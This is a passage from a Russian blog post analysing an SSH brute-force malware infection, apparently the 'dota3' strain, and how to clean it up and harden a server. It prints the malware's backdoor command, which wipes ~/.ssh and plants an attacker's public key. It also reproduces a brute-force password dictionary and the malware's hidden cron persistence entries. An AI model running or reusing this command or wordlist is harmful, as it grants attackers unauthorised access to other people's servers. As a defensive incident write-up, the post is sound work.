cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Так же есть упоминание ip адресов 45.9.148.129 и 45.9.148.125, находящихся в Нидерландах.

Словарь для подбора паролей — небольшой, хранится в отдельном файле.

Словарь подбора паролей

jabez jabez admin smiles root campbell jawad jawad test $$$$$$$$ root wangjianjun sdtdserver sdtdserver idea idea foundry 123456 citlalli citlalli root sensor123 info info333 kaasen kaasen root Million2017 jakayla jakayla edineide edineide wikre wikre guest edges games nobody123 vcsa hhhhhhh root sq root root@1234567890 ftpuser password! web nobody0000 root jyy mysql chelu charming 123456 web web1111 pscsec pscsec root michell louhellen louhellen xgridagent xgridagent alligator alligator root subrosa denny password ftp 1220 rival rival root 9i8u7y root general1 smenes smenes root password@1234567890 support testing root 123asdfghjkl smmsp 12330 root fladvert picher picher backup farrell hung root2root guest shinobu sacre sacre123

По скриптам видно, что сам дистрибутив малвари лежит в архиве dota3.tar.gz, однако мне не удалось понять какимо образом он попадает в систему. Явной директивы скачивания файла нет. Вероятно, он подкладывается через бэкдор. Если у Вас есть идеи на этот счет, пишите в комменты.

Ланчер

В момент запуска, малварь прописывает себя в подсистему cron для текущего пользователя. В папке /var/spool/cron/crontabs/<username> можно найти файл следующего содержания

Правила cron

0 0 */3 * * /dev/shm/.lwp/.rsync/a/upd>/dev/null 2>&1 5 8 * * 0 /dev/shm/.lwp/.rsync/b/sync>/dev/null 2>&1 @reboot /dev/shm/.lwp/.rsync/b/sync>/dev/null 2>&1 0 0 */3 * * /dev/shm/.lwp/.rsync/c/aptitude>/dev/null 2>&1

в нем автоматически перезапускаются все процессы, относящиеся к зловреду.

Пора покончить с этим безобразием!

Мы получили представление о том, как ведет себя зловред. Теперь можно выстроить стратегию для очистки системы от него.

Убираем cron задачи пользователя

rm -rf /var/spool/cron/crontabs/<username>

Убиваем процессы юзера

pkill -u <username>

Убираем сохраненный ssh ключ

rm /home/<username>/.ssh/authorized_keys

Удаляем сам зловред

rm -rf /dev/shm/.lwp

Я так же рекомендую повторить команды выше дважды и полностью удалить юзера вместе с домашней папкой. При необходимости, его можно пересоздать заново.

Что делать с заблокированным IP адресом?

Я позвонил провайдеру и сообщил о проблеме, меня внимательно выслушали и порекомендовали написать об инциденте в саппорт, приложив все доступные материалы. Никаких рекомендаций по разблокировке IP мне получить не удалось. Мне порекомендовали поменять его на новый через ЛК, а старый адрес вернулся в пул доступных для других пользователей. Может быть кто-то с хабра подскажет как снять с адреса черную метку?

Какая система уязвима для подобной атаки

В сущности, любая Linux система, у которой открыт доступ к ssh и есть много пользователей. В особенности, это касается различных хостеров и облачных сервисов. Известен случай Массового заражения сервисов Azure в мае 2019

Как защититься от подобных атак?

  • Используйте безопасные пароли для всех системных пользователей
  • Установите политику паролей для пользователей системы
  • Установите fail2ban и rate limit на ssh через ufw или любой другой файрволл
  • Ограничте доступ к ssh порту списком доверенных IP адресов
  • Отключите возможность логина в shell всем пользователям, которые туда ходить не должны

Аналитика и случаи заражения похожими штаммами


ссылка на оригинал статьи https://habr.com/ru/post/482784/


Комментарии

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *